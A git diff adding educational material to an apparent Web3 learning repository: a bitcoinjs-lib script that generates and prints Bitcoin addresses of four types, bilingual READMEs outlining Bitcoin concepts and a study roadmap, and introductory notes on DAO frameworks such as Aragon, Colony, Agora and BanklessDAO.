+Legacy Address: 18RKdzEVDe6oCxrdeiipZGtKYWxTXmaxh3
+Nested Segwit Address: 385Q6vxTS5My1rZ7vs6jSonuQDB987o2p2
+Native Segwit Address: bc1qxwy6vyfedw67sdr754avqcgrnw9sfpzuqgde4d
+Taproot Address: bc1pvc3cpr6c2eejzylks2cg9vhanqepk3hmd0ssn8etzmf2r7y4q40q77ljsl
+```
+
+生成的地址仅用于演示和教育目的。在生产环境中使用时，请确保理解相关的安全风险。
+Taproot 地址的支持可能取决于 bitcoinjs-lib 的版本。
diff --git a/btc/Basic/wallet/address.js b/btc/Basic/wallet/address.js
new file mode 100644
index 000000000..284f5e437
--- /dev/null
+++ b/btc/Basic/wallet/address.js
@@ -0,0 +1,45 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import bitcoin from 'bitcoinjs-lib';
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+bitcoin.initEccLib(tinysecp);
+
+function toXOnly(pubKey) {
+  return pubKey.length === 32 ? pubKey : pubKey.slice(1, 33);
+}
+
+function generateAddress(networkType, addressType) {
+  const network = bitcoin.networks[networkType];
+  // 生成Bitcoin私钥和地址
+  const keyPair = ECPair.makeRandom({ network });
+
+  let address;
+  switch (addressType) {
+    case 'legacy':
+      address = bitcoin.payments.p2pkh({ pubkey: keyPair.publicKey, network }).address;
+      break;
+    case 'nestedSegwit':
+      address = bitcoin.payments.p2sh({
+        redeem: bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network }),
+        network,
+      }).address;
+      break;
+    case 'nativeSegwit':
+      address = bitcoin.payments.p2wpkh({ pubkey: keyPair.publicKey, network }).address;
+      break;
+    case 'taproot':
+      const pubkey = toXOnly(keyPair.publicKey);
+      address = bitcoin.payments.p2tr({ pubkey, network }).address;
+      break;
+    default:
+      address = 'Invalid address type';
+  }
+  return address;
+}
+
+console.log('Legacy Address:', generateAddress('bitcoin', 'legacy'));
+console.log('Nested Segwit Address:', generateAddress('bitcoin', 'nestedSegwit'));
+console.log('Native Segwit Address:', generateAddress('bitcoin', 'nativeSegwit'));
+console.log('Taproot Address:', generateAddress('bitcoin', 'taproot'));
diff --git a/btc/Basic/wallet/package.json b/btc/Basic/wallet/package.json
new file mode 100644
index 000000000..bf4ec8502
--- /dev/null
+++ b/btc/Basic/wallet/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "btc-wallet",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "type": "module",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "bitcoinjs-lib": "^6.1.5",
+    "ecpair": "^2.1.0",
+    "tiny-secp256k1": "^2.2.3"
+  }
+}
diff --git a/btc/README-ES.md b/btc/README-ES.md
new file mode 100644
index 000000000..ba7ab380c
--- /dev/null
+++ b/btc/README-ES.md
@@ -0,0 +1,145 @@
+# Bitcoin (BTC)
+
+This repository aims to provide comprehensive information on Bitcoin (BTC) technology, covering its basic functions, advanced applications, and various protocols and tools in its ecosystem. Whether you are a beginner or an experienced developer, this guide will help you gain a deeper understanding and make efficient use of Bitcoin technology.
+
+## Introduction
+
+Bitcoin is the first decentralized digital currency based on blockchain technology, proposed by an individual or group using the pseudonym "Satoshi Nakamoto" in 2008 and officially launched in 2009. It disrupts traditional financial systems by enabling trustless value transfers through cryptography and a distributed network. It functions as a payment tool, an investment asset, and a social experiment that redefines the boundaries of money and trust.
+
+Bitcoin combines cryptography, economics, and distributed systems to pioneer decentralized digital assets. Its value stems from technical reliability (censorship resistance, scarcity), social consensus (the "digital gold" narrative), and macroeconomic conditions (fiat currency over-issuance, geopolitical conflicts). Despite challenges such as scalability bottlenecks, energy debates, and regulatory uncertainty, Bitcoin continues to drive financial innovation, becoming the core symbol of the blockchain revolution and redefining the future of money, trust, and value.
+
+
+##Core Technical Mechanisms
+
+-Blockchain and Decentralization
+Transaction data is stored on a transparent, distributed ledger (blockchain) maintained by a global network of nodes, with no central authority. A chain structure (blocks linked via hash values) and timestamping ensure data immutability.
+
+-Cryptography and Security
+Uses the SHA-256 hashing algorithm and asymmetric encryption (public addresses and private key signatures) to secure transaction ownership and integrity. Proof of Work (PoW): Miners compete computationally to validate transactions and create new blocks, consuming energy to safeguard the network while earning newly minted coins as rewards.
+
+-Deflationary Model
+Total supply capped at 21 million coins, with issuance halved every four years ("halving"), ending in 2140. Its scarcity mirrors that of gold.
+
+
+##Key Features and Innovations
+
+-Trustless System
+Operates without reliance on banks or governments, governed solely by code. Users fully control assets (ownership via private keys).
+
+-Censorship Resistance and Global Accessibility
+Borderless transactions on a resilient network, ideal for cross-border payments and inflation hedging (e.g., Bitcoin’s adoption as legal tender in El Salvador).
+
+-Pseudonymity
+Transactions use encrypted addresses, not tied to real-world identities, but on-chain records are publicly traceable. Privacy tools (e.g., coin mixers) enhance anonymity.
+
+-Irreversibility
+Confirmed transactions cannot be reversed, reducing fraud but requiring caution (e.g., accidental transfers are permanent).
+
+-High Volatility
+Prices fluctuate due to market demand, regulation, and speculation. Bitcoin peaked at 60,000 in 2021, then fell to16,000 in 2022.
+
+
+##Historical Evolution and Societal Impact
+
+-Milestones
+
+2008 Whitepaper: Satoshi Nakamoto published Bitcoin: A Peer-to-Peer Electronic Cash System, outlining a decentralized currency vision.
+
+2010 First Real-World Transaction: A programmer paid 10,000 BTC for two pizzas (worth billions today), marking Bitcoin’s practical adoption.
+
+2017 Fork and Scaling Debate: Community disputes split Bitcoin into BTC (main chain) and BCH (Bitcoin Cash), exposing governance challenges in decentralized systems.
+
+2021 Institutional Adoption: Companies like Tesla and MicroStrategy added Bitcoin to their balance sheets, and Bitcoin futures ETFs gained approval, boosting mainstream acceptance.
+
+-Expanding Use Cases
+
+Payment Network: The Lightning Network (Layer 2) enables fast microtransactions, addressing the main chain’s low throughput (~7 transactions/second).
+
+Store of Value: Used in hyperinflationary economies (e.g., Argentina, Nigeria) to hedge against fiat currency collapse.
+
+Ecosystem Innovation: Spurred advancements like smart contracts, DeFi (decentralized finance), and NFTs, though Bitcoin remains focused on its "digital gold" role.
+
+This knowledge repository will guide you through Bitcoin's basic functionalities, advanced features, and ecosystem applications, helping you stay at the forefront of this rapidly evolving field.
+
+## Task Status Legend
+
+⬜ Not Started ⌛ In Progress ✅ Completed
+
+## 1. Basic Features
+
+### 1.1 Payment Addresses
+
+Types of Bitcoin addresses and their encoding:
+
+- **P2PKH** (Pay to Public Key Hash) ✅
+- **P2SH-P2PKH** (Pay to Script Hash - Pay to Public Key Hash) ✅
+- **P2WPKH** (Pay to Witness Public Key Hash) ✅
+- **P2TR** (Pay to Taproot) ✅
+- **Base58 Encoding** ✅
+- **Bech32 Encoding** ✅
+- **Bech32m Encoding** ✅
+
+### 1.2 Wallets
+
+Types of Bitcoin wallets and their characteristics:
+
+- **Standard Wallets** ⌛
+- **HD Wallets (Hierarchical Deterministic Wallets)** ✅
+
+### 1.3 Transactions
+
+Key knowledge about Bitcoin transactions:
+
+- **UTXO Analysis** ⬜
+- **Coinbase Transactions** ⬜
+- **Transaction Construction** ⬜
+- **Fee Estimation** ⬜
+- **Signature Algorithms** ✅
+- **Transaction Acceleration** ⬜
+
+### 1.4 Tools
+
+Common tools in the Bitcoin ecosystem:
+
+- **Blockchain Explorers** ⌛
+- **Network Hash Rate Tools** ⬜
+- **API Services** ⬜
+- **Data Analysis Tools** ⬜
+
+## 2. Advanced Features
+
+### 2.1 PSBT (Partially Signed Bitcoin Transaction)
+
+Introduction and usage of PSBT:
+
+- **PSBT Protocol Introduction** ✅
+- **Creating and Parsing PSBT** ✅
+- **PSBT V2** ⬜
+
+### 2.2 Taproot
+
+Introduction to Taproot and its benefits:
+
+- **Schnorr Signatures** ✅
+- **MAST** (Merkelized Abstract Syntax Tree) ✅
+- **Privacy and Efficiency Improvements** ⬜
+- **Key Path vs. Script Path Differences** ⬜
+
+### 2.3 Multisig Addresses
+
+Usage and advantages of multisig addresses:
+
+- **Multisig Address Introduction** ✅
+- **OP_CHECKMULTISIG** ✅
+- **OP_CHECKMULTISIGVERIFY** ✅
+- **OP_CHECKSIGADD** ✅
+
+## 3. Ecosystem Applications
+
+- **BRC20 Protocol Overview** ✅
+- **ARC20 Protocol Overview** ✅
+- **Runes Protocol Overview** ✅
+- **Lightning Network Introduction** ⌛
+- **Core Logic of the Lightning Network** ⌛
+- **OP_CAT** ✅
+- **Babylon | BTC Staking** ⬜
diff --git a/btc/README.md b/btc/README.md
new file mode 100644
index 000000000..475079afa
--- /dev/null
+++ b/btc/README.md
@@ -0,0 +1,127 @@
+# 比特币 (BTC)
+
+本知识库旨在提供有关比特币（BTC）技术的全面信息，涵盖基本功能、进阶应用以及生态系统中的各类协议和工具。无论您是初学者还是有经验的开发者，本指南都将帮助您更好地理解和使用比特币技术。
+
+## 简介
+
+比特币是首个基于区块链技术的去中心化数字货币，由化名“中本聪”的个人或团队于2008年提出，2009年正式运行。它颠覆传统金融体系，通过密码学与分布式网络实现无需信任第三方的价值转移，既是支付工具，也是投资标的，更被视为一场社会实验，重塑货币与信任的边界。
+
+比特币融合密码学、经济学与分布式系统，开创了去中心化数字资产的先河。其价值源于技术可靠性（抗审查、稀缺性）、社会共识（“数字黄金”叙事）及宏观环境（法币超发、地缘冲突）。尽管面临扩容瓶颈、能源争议与监管不确定性，比特币仍持续推动金融体系变革，成为区块链革命的核心象征，重新定义货币、信任与价值的未来形态。
+
+
+##核心技术机制
+
+-区块链与去中心化
+交易数据存储在公开透明的分布式账本（区块链）中，由全球节点共同维护，无中央机构控制。链式结构（区块通过哈希值串联）与时间戳技术确保数据不可篡改。
+
+-密码学与安全
+使用SHA-256哈希算法和非对称加密（公钥地址与私钥签名），保障交易所有权和安全性。工作量证明（PoW）：矿工通过算力竞争验证交易并生成新区块，消耗能源换取网络安全，同时新币作为奖励发行。
+
+-通缩模型
+总量上限2100万枚，每四年“减半”新币发行量，2140年全部挖完，稀缺性类比黄金。
+
+##核心特点与创新
+
+-去信任化
+无需银行或政府背书，代码规则驱动系统运行，用户自主掌控资产（私钥即所有权）。
+
+-抗审查与全球化
+交易不受国界限制，节点网络抗屏蔽，尤其适用于跨境支付与通胀国家避险（如萨尔瓦多定为法币）。
+
+-伪匿名性
+用户通过加密地址交易，不直接绑定身份，但链上记录公开可追溯，需借助混币器等工具增强隐私。
+
+-不可逆性
+交易一经区块链确认无法撤销，降低欺诈风险，但也要求用户谨慎操作（如误转账无法追回）。
+
+-高波动性
+市场供需、政策监管与投机情绪导致价格剧烈波动，2021年曾突破6万美元，2022年跌至1.6万美元。
+
+##历史演进与社会影响
+
+-里程碑事件
+
+2008年白皮书：中本聪发布《比特币：一种点对点的电子现金系统》，提出去中心化货币愿景。
+
+2010年首笔实物交易：程序员用1万BTC购买2个披萨（现价值数亿美元），开启加密货币实用化。
+
+2017年分叉与扩容争议：社区分歧导致比特币分叉为BTC（主链）与BCH（比特币现金），暴露去中心化治理难题。
+
+2021年机构化：特斯拉、MicroStrategy等公司纳入资产负债表，比特币期货ETF获批，推动主流金融接纳。
+
+-应用场景扩展
+
+支付网络：闪电网络（Layer 2）实现小额快速交易，解决主链吞吐量低（约7笔/秒）问题。
+
+价值存储：部分国家民众（如阿根廷、尼日利亚）将其作为抗通胀资产，对冲法币贬值风险。
+
+技术衍生生态：催生智能合约、DeFi（去中心化金融）、NFT等创新，但比特币自身仍聚焦“数字黄金”定位。
+通过本知识库，您将学习比特币的核心功能、进阶特性以及生态系统应用，助您在这一快速发展的领域中保持领先。
+
+## 任务状态图例：
+⬜ 未开始 ⌛ 进行中 ✅ 已完成
+
+## 1. 基本功能
+
+### 1.1 支付地址
+比特币地址类型及编码方式：
+- **P2PKH** (支付到公钥哈希) ✅
+- **P2SH-P2PKH** (支付到脚本哈希 - 支付到公钥哈希) ✅
+- **P2WPKH** (支付到见证公钥哈希) ✅
+- **P2TR** (支付到 Taproot) ✅
+- **Base58 编码** ✅
+- **Bech32 编码** ✅
+- **Bech32m 编码** ✅
+
+### 1.2 钱包
+比特币钱包类型及其特性：
+- **标准钱包** ⌛
+- **分层确定性钱包（HD 钱包）** ✅
+
+### 1.3 交易
+比特币交易的相关知识：
+- **UTXO解析** ⌛
+- **Coinbase交易** ⬜
+- **交易构建** ⌛
+- **费用估算** ⌛
+- **签名算法** ✅
+
+
+### 1.4 工具
+比特币生态系统中的常用工具：
+- **区块链浏览器** ⌛
+- **全网算力** ⬜
+- **API 服务** ⬜
+- **数据分析工具** ⬜
+
+## 2. 进阶功能
+
+### 2.1 PSBT (部分签名比特币交易)
+PSBT 的介绍和使用：
+- **PSBT 协议简介** ✅
+- **创建和解析 PSBT** ✅
+- **PSBT V2** ⬜
+
+### 2.2 Taproot
+Taproot 技术的介绍及其优势：
+- **施诺尔签名** ✅
+- **MAST** (Merkelized 抽象语法树) ✅
+- **隐私和效率改进** ⬜
+- **Key Path和Script Path的区别** ⬜
+
+### 2.3 多重签名地址
+多重签名地址的使用及优势：
+- **多重签名简介** ✅
+- **OP_CHECKMULTISIG** ✅
+- **OP_CHECKMULTISIGVERIFY** ✅
+- **OP_CHECKSIGADD** ✅
+
+## 3. 生态系统应用
+- **BRC20 协议介绍** ✅
+- **ARC20 协议介绍** ✅
+- **Runes 协议介绍** ✅
+- **闪电网络简介** ⌛
+- **闪电网络核心逻辑** ⌛
+- **OP_CAT**  ✅
+- **Babylon | BTC Staking** ⬜
+
diff --git a/dao/Agora/Intro.md b/dao/Agora/Intro.md
new file mode 100644
index 000000000..fe3b6ba51
--- /dev/null
+++ b/dao/Agora/Intro.md
@@ -0,0 +1,25 @@
+# Agora 介绍
+
+## Agora 是什么
+
+Agora 全称 Agora Space, 希望创建无需 gas、多链、支持多平台的工具，来促进 Web3 被广泛采用。目前他们做的事情主要是基于社交平台如 discord 和 telegram 做一些扩展应用，例如，持有哪些 NFT 的地址可以进入你的 discord server。
+
+## Agora 解决什么问题
+
+可以让 DAO 和一些社区可以更好的管理其中的成员，形成有凝聚力的社区。
+
+## Agora 有哪些功能
+
+Agora 目前开发出第一个工具: https://alpha.guild.xyz/ ，用来创建一个 guild:
+
+![](imgs/create-guild.png)
+
+
+并可以指定哪些地址有资格加入，目前支持 8 个条件:
+
+![](imgs/guild-requirements.png)
+
+## 参考链接
+
+- 官网: https://agora.space/
+- 文档: https://agora-space.gitbook.io/agoraspace/
\ No newline at end of file
diff --git a/dao/Agora/imgs/create-guild.png b/dao/Agora/imgs/create-guild.png
new file mode 100644
index 000000000..9570dd857
Binary files /dev/null and b/dao/Agora/imgs/create-guild.png differ
diff --git a/dao/Agora/imgs/guild-requirements.png b/dao/Agora/imgs/guild-requirements.png
new file mode 100644
index 000000000..fbaf9ca27
Binary files /dev/null and b/dao/Agora/imgs/guild-requirements.png differ
diff --git a/dao/Aragon/images/court-dashboard.png b/dao/Aragon/images/court-dashboard.png
new file mode 100644
index 000000000..d26e3085b
Binary files /dev/null and b/dao/Aragon/images/court-dashboard.png differ
diff --git a/dao/Aragon/images/court-disputes.png b/dao/Aragon/images/court-disputes.png
new file mode 100644
index 000000000..328588e13
Binary files /dev/null and b/dao/Aragon/images/court-disputes.png differ
diff --git a/dao/Aragon/images/created-daos.png b/dao/Aragon/images/created-daos.png
new file mode 100644
index 000000000..0543390b3
Binary files /dev/null and b/dao/Aragon/images/created-daos.png differ
diff --git a/dao/Aragon/images/govern-1.png b/dao/Aragon/images/govern-1.png
new file mode 100644
index 000000000..4a93abf62
Binary files /dev/null and b/dao/Aragon/images/govern-1.png differ
diff --git a/dao/Aragon/images/govern-2.png b/dao/Aragon/images/govern-2.png
new file mode 100644
index 000000000..c393e4381
Binary files /dev/null and b/dao/Aragon/images/govern-2.png differ
diff --git a/dao/Aragon/images/govern-3.png b/dao/Aragon/images/govern-3.png
new file mode 100644
index 000000000..3cd0b5971
Binary files /dev/null and b/dao/Aragon/images/govern-3.png differ
diff --git a/dao/Aragon/images/govern-4.png b/dao/Aragon/images/govern-4.png
new file mode 100644
index 000000000..24f99832a
Binary files /dev/null and b/dao/Aragon/images/govern-4.png differ
diff --git a/dao/Aragon/images/govern-5.png b/dao/Aragon/images/govern-5.png
new file mode 100644
index 000000000..36338648c
Binary files /dev/null and b/dao/Aragon/images/govern-5.png differ
diff --git a/dao/Aragon/images/govern-6.png b/dao/Aragon/images/govern-6.png
new file mode 100644
index 000000000..cad14795f
Binary files /dev/null and b/dao/Aragon/images/govern-6.png differ
diff --git a/dao/Aragon/images/schedule-action.png b/dao/Aragon/images/schedule-action.png
new file mode 100644
index 000000000..26e222ce4
Binary files /dev/null and b/dao/Aragon/images/schedule-action.png differ
diff --git a/dao/Aragon/images/two-versions.png b/dao/Aragon/images/two-versions.png
new file mode 100644
index 000000000..a213ff012
Binary files /dev/null and b/dao/Aragon/images/two-versions.png differ
diff --git a/dao/Aragon/readme.md b/dao/Aragon/readme.md
new file mode 100644
index 000000000..edab318a3
--- /dev/null
+++ b/dao/Aragon/readme.md
@@ -0,0 +1,200 @@
+# Aragon
+
+Video version for this article: https://www.bilibili.com/video/BV1gL4y1i7zG/
+## What is a DAO?
+
+[https://aragon.org/dao](https://aragon.org/dao)
+
+A DAO (Decentralized Autonomous Organization) is a group of people with no central management that coordinate over the internet around a shared set of rules to achieve a common mission.
+
+A more accurate definition would be:
+
+A DAO is an internet-native entity with no central management which is regulated by a set of automatically enforceable rules on a public blockchain, and whose goal is to take on a life of its own and incentivize people to achieve a shared common mission.
+
+## About Aragon
+
+Aragon is a community-driven project with the mission to empower freedom by creating tools for decentralized organizations to thrive. 
+
+You can create：
+
+* clubs
+* companies
+* gaming guilds
+* cooperatives
+* nonprofits
+* open source projects
+* and any other type of organization
+
+Currently Aragon is running on：
+
+* Ethereum
+* Rinkeby
+* Ploygon（only v1）
+
+The Aragon project is stewarded by the Aragon Association, a non-profit entity based in Zug, Switzerland, and governed by Aragon Network Token (ANT) holders.
+
+
+## 2 versions
+
+[https://aragon.org/aragon-govern](https://aragon.org/aragon-govern)
+
+![图片](./images/two-versions.png)
+
+**Aragon Client**(v1)
+
+[https://client.aragon.org/#/](https://client.aragon.org/#/)
+
+* Over 5000 lines of code, it's aragonOS（kernel）
+* Vote on chain
+* Complex
+* High transaction fee
+
+**Aragon Govern** (v2)
+
+[https://govern-rinkeby.aragon.org/#/](https://govern-rinkeby.aragon.org/#/)
+
+* 500 lines of code
+* Support vote off chain
+* Optimistic Vote
+* Aragon Court
+
+## Aragon Client
+
+[https://client.aragon.org/#/](https://client.aragon.org/#/)
+
+[https://help.aragon.org/category/12-templates](https://help.aragon.org/category/12-templates)
+
+Initially launched in 2019，most DAOs use it.
+
+It's recommended to use **Aragon Govern** (v2) for new DAOs
+
+### DAOs created
+
+[https://poweredby.aragon.org/](https://poweredby.aragon.org/)
+
+* 1700+ Organizations created
+* $900M+ USD value of assets stored
+
+![图片](./images/created-daos.png)
+
+架构
+
+* aragonOS：Kernel，ACL
+* apps：token，voting，finance，agent. There is a Marketplace where you can find more apps, such as Redemption, Payroll, Surveys.
+
+## Aragon Govern
+
+Full-stack, frictionless DAOs: signal on Voice, schedule on Govern, dispute in Court.
+
+### Aragon Voice
+
+[https://help.aragon.org/article/73-what-is-aragon-voice](https://help.aragon.org/article/73-what-is-aragon-voice)
+
+Aragon Voice is a new gasless and universally verifiable voting solution. Proposals are processed on Aragon's layer 2 protocol (Vochain) and vote metadata is stored on IPFS. The result is a completely permissionless, decentralized and highly scalable governance solution for DAOs and other initiatives that make use of ERC-20 tokens (with more token types coming).
+
+Aragon Voice can be used for permissionless signalling but also for dispute resolution and deterministic on-chain execution, when combined with Aragon Court and Aragon Govern.
+
+* Anyone holds ERC20 token can create vote here
+* Others can vote
+* Use for signal from community
+
+### Aragon Govern
+
+[https://help.aragon.org/article/74-what-is-aragon-govern](https://help.aragon.org/article/74-what-is-aragon-govern)
+
+Aragon Govern is a DAO framework that relies on optimistic governance, empowering digital groups to operate in a frictionless governance model with on-chain execution and easy-to-use dispute resolution.
+
+Landing page：[https://aragon.org/aragon-govern](https://aragon.org/aragon-govern)
+
+App：
+
+* [https://govern-rinkeby.aragon.org/#/](https://govern-rinkeby.aragon.org/#/)
+* [https://govern.aragon.org/#/](https://govern.aragon.org/#/)
+
+![图片](./images/govern-1.png)
+
+#### Create a Govern DAO
+
+[https://help.aragon.org/article/102-how-to-create-a-govern-dao](https://help.aragon.org/article/102-how-to-create-a-govern-dao)
+
+![图片](./images/govern-2.png)
+
+
+![图片](./images/govern-3.png)
+
+
+![图片](./images/govern-4.png)
+
+
+![图片](./images/govern-5.png)
+
+![图片](./images/govern-6.png)
+
+#### Schedule an action
+
+The workflow to execute an action is:
+
+* Create action
+* Challange(If any)
+* Execute
+
+![图片](./images/schedule-action.png)
+
+#### Challenging a transaction
+
+[https://help.aragon.org/article/106-challenging-a-transaction](https://help.aragon.org/article/106-challenging-a-transaction)
+
+* Need to specify the collateral, can be changed via DAO's setting page
+* Need to pay for 150 DAI，to guardians and actors
+
+Whenever an Aragon Govern transaction is challenged, a new dispute is created in Aragon Court.
+
+### Aragon Court
+
+[https://court.aragon.org/](https://court.aragon.org/)
+
+#### Dashboard
+
+[https://help.aragon.org/article/42-aragon-court-dashboard](https://help.aragon.org/article/42-aragon-court-dashboard)
+
+Activate ANT, will increase the possibility to be chosen as Guardian.
+
+![图片](./images/court-dashboard.png)
+
+Active tokens serve three main purposes:
+
+* They determine your probability of being drafted as a guardian. The higher the amount, the higher the probability.
+* Subscription rewards are directly proportional to active tokens. [Click here](https://help.aragon.org/article/42-aragon-court-dashboard#rewards) to learn more about the different types of rewards.
+* In order to incentivize consensus decisions and honest behaviors, a portion of your active tokens are locked when drafted for a dispute and you can get rewarded or penalized depending on the final ruling. [Click here](https://help.aragon.org/article/43-dispute-lifecycle) to learn more about disputes.
+
+As a Guardian，tasks include：
+
+* Summon guardians
+* Commit vote
+* Reveal vote
+* Appeal ruling
+* Confirm appeal
+* Execute ruling
+
+#### Disputes
+
+[https://court.aragon.org/#/disputes](https://court.aragon.org/#/disputes)
+
+![图片](./images/court-disputes.png)
+
+#### Dispute for Guardian
+
+[https://help.aragon.org/article/107-acting-as-a-guardian-for-an-aragon-govern-dispute](https://help.aragon.org/article/107-acting-as-a-guardian-for-an-aragon-govern-dispute)
+
+Whenever an Aragon Govern transaction is challenged, a new dispute is created in Aragon Court. If you get summoned as a guardian for this kind of dispute, this is what you need to know.
+
+* Understanding the content
+* Voting
+* Revealing vote
+* If any appeal，one more round
+
+Reference:
+
+* https://help.aragon.org/
+* https://shimo.im/docs/YhJ3whrq3rpRW9Wr
+* Aragon白皮书: https://mp.weixin.qq.com/s/5o4ll_Ta1HjQyRgmjzeuJw
diff --git a/dao/BanklessDAO/Intro.md b/dao/BanklessDAO/Intro.md
new file mode 100644
index 000000000..3776972fc
--- /dev/null
+++ b/dao/BanklessDAO/Intro.md
@@ -0,0 +1,25 @@
+# BanklessDAO 介绍
+
+## BanklessDAO 是什么
+
+BanklessDAO 从技术上很容易定义，它是一个社区，也是一个自治组织。
+
+BanklessDAO 想做的几件事：
+
+- 想要一个来自民众和服务于民众的系统。
+- 想要传播加密文化。
+- 想要帮助世界走向无银行。
+
+## 如何加入
+
+BanklessDAO是一个非常开放的社区。任何人都可以通过Discord加入BanklessDAO的服务器，并获得浏览绝大部分信息和历史工作文档的权限。
+
+参与协作和会议需要成为会员，条件是持有一定数量的BANK token。不过这个更多凭借自愿，服务器里也专门有一个申请特别通行证的频道，在那个频道里介绍一下自己和感兴趣的方向，就可以很轻松的申请到guest pass，解锁发言和参与协作的各类功能。
+
+当前共形成了13个公会，分别是写作、财务、翻译、研究、运营、市场、法律、教育、设计、商务开发、开发、视频、数据分析。
+
+Discord: https://discord.gg/bankless
+
+## 参考
+
+- https://mp.weixin.qq.com/s/elW0QClGlJs5Mj0Z6k18uQ
\ No newline at end of file
diff --git a/dao/Colony/Intro.md b/dao/Colony/Intro.md
new file mode 100644
index 000000000..2618ff5db
--- /dev/null
+++ b/dao/Colony/Intro.md
@@ -0,0 +1,49 @@
+# Colony 介绍
+
+## 基本信息
+
+上线时间：2017年上线，2021年2月15日软上线
+
+代币：CLNY（ERC-20）
+
+## Colony 是什么
+
+Colony 是一个 DAO 框架。通过Colony，全世界的人们都可以轻松地在线组建社区、筹集资金、集体管理资金，并朝着一个共同目标协调前进，且不需彼此信任。
+
+Colony是一个分布式组织的社会协作平台。用户可以在线启动项目，并建立一支员工队伍来帮助实现这些项目。因为它将劳动力的激励机制与生产力结合起来，所以世界上任何地方的人都有可能从事一个项目，而不需要分级管理。
+
+该平台通过按每个用户贡献的价值比例分配权限权益，激励用户竞争成为最有技能和生产力的人。该平台自动化了项目管理过程，汇集了成员在建议任务、做出决策、将任务分配给最佳候选人以及提供工作反馈方面的集体智慧。
+
+## Colony 有哪些功能
+
+Colony目前在xDai上运行，支持以下功能：
+
+1.将社区组织成具有加入门槛的部门或团队。
+
+2.管理代币库，并将预算应用于不同的团队和计划。
+
+3.支持各种不同付款方式。
+
+4.根据组织的具体情况，定制成员权益分配权限，比如通过参与治理获得的影响力等。
+
+5.通过代币销售、捐赠或收入等方式筹集资金。
+
+6.提供多种决策机制以适应不同的用例，并在其出现分歧时进行仲裁争议。
+
+7.DAO可以与其在同一链上的其他合约进行任意交易，如果DAO需要管理另一个协议或与DeFi进行交互， Colony可以实现。
+
+## Colony 的特点
+
+Colony 的 CEO Jack 认为，一个有效的DAO框架必须降低市场供应机制的交易成本。但不幸的是，除Colony之外，所有DAO的问题都在于它们增加了交易成本，他们的复杂决策程序与要求代币持有者对组织做出的每个决策进行投票的策略是荒谬且完全不可扩展的。
+
+鉴于此，Colony 决定通过使用多种方法的组合来解决这些问题，Colony 允许DAO 通过创建多个团队和子团队来进行扩展，并通过不要求每个决定都进行象征性投票。取而代之的是通过使用与DAO贡献价值成正比的影响力来量化个人专长，从而赋予个人行政权力。
+
+此外，在 Colony，投票是万不得已的手段。Colony 的治理通过“惰性共识”起作用，一个提议中，只要没有人反对，提案就会在安全延迟后自动通过。换句话说，如果你看到一条同意的建议，那么你什么也不做。如果发现不同意的内容，你就可以提出异议并强制进行表决。
+
+## 参考链接
+
+- [全面解读｜Colony v2：有效降低市场交易成本的DAO基础设施](http://daorayaki.org/quan-mian-jie-du-colony-v2-you-xiao-jiang-di-shi-chang-jiao-yi-cheng-ben-de-daoji-chu-she-shi/)
+- [对话Colony：DAO近乎成为投票的代名词，但这并不可取](https://zhuanlan.zhihu.com/p/371657078)
+- [Colony 官网](https://xdai.colony.io/)
+- [Github](https://github.com/joinColony)
+- [Whitepaper](https://colony.io/whitepaper.pdf)
\ No newline at end of file
diff --git a/dao/DAO-Review/DAO-list.md b/dao/DAO-Review/DAO-list.md
new file mode 100644
index 000000000..62e9ae7b8
--- /dev/null
+++ b/dao/DAO-Review/DAO-list.md
@@ -0,0 +1,208 @@
+
+
+### **DAO 项目**
+
+**Bankless DAO**
+
+代币：BANK
+
+项目介绍：
+
+Bankless是一个使命为去银行化的DAO组织，以Media起家，提供加密社区和行业的最新信息和项目分析为核心价值，后续在核心媒体节点Bankless LLC发起下，成立了DAO，通过无数个小规模的guild（工会）组成，开放式管理，发起提案和协作执行，都在DAO框架内完成，现在已发展为更多元的DAO组织了。
+
+交易平台：Uni, Sushi, Balancer, 0x Protocol, BXC
+
+#### 核心要点分析文档:
+
+[Anounce](./bankless-anouncing.md)
+
+[Genesis proposal](./bankless-genesis-proposal.md)
+
+[Start](./bankless-start.md)
+
+#### 思考/分析/借鉴
+
+对于DApp learning 来说，找到自己合适的路，结合小组自身特点，一步步成为价值闭环的组织，发展壮大，为更多人了解、使用Web3，更多人学习和开发基于Web3的DApp，造福整个社会，提供助力为基础，逐步找到更多可能和路径。
+
+##### 使命：让世界无银行化！
+
+一句话说清楚，配合一个文章讲故事
+
+Going bankless is a journey towards freedom—self-sovereignty. Financial independence.
+
+所有的DAO，都需要讲一个有逻辑，有背景，有方向，有Vision的故事。
+
+关于DAO的未来，或者我们未来的DAO，每个人都可以提出来，兼顾大家，方向正确的Mission来。
+
+##### 影响力：增长
+
+无论是自己产品的用户数量，还是媒体订阅或者各种活动、用户数，都需要增长，这才代表DAO符合社会的需求，在一点点影响和协作起来，这都需要许多许多规划，人才，协作。
+
+##### 价值：让人们变得更好
+
+需要目标、人才和执行，才能逐步透出给组织内部和组织外部，而具体的proposal，是一起确定真的符合Mission：Bankless，才会被社区接受和执行落地，也有许多不确定的尝试，社区秉持开放态度。
+
+##### LLC启示
+
+LLC用三年时间归属25%，社区仍然控制大部分，对于一个DAO的发展来说，是相辅相成，也是非常棒的一次DAO的尝试：用一个公司做基础和链接，用DAO来保持开放和未来。
+
+##### 文档体系
+
+Bankless很复杂，但也有非常健全（相对来说）的文档体系，指导普通人如何了解、加入或者使用。
+
+看下这个文档。。。吓死我了，密密麻麻的link。。。
+
+##### 工具
+
+Discord，snapshot，substack，Medium，独立网站，Token分发工具网址，活动网址
+
+感觉discord会沟通更多些
+
+
+##### 其他
+三火分享了一篇较为深入体验的文章，请大家补充参考：https://mp.weixin.qq.com/s/hrIHkQ5yoi1BkzEjfE7Xog(https://mp.weixin.qq.com/s/hrIHkQ5yoi1BkzEjfE7Xog)
+核心是Bankless是如何让人和资本去中心的协作和流动，包括内部的发起提案机制、预算和成本、报价机制等等，以及可能的抽象模型，对未来我们工作方式的可能影响，我们可以探讨下，是否未来有替代公司的可能？哪怕是替代一部分。
+
+
+**MakerDAO**
+
+代币：MKR
+
+项目介绍：
+
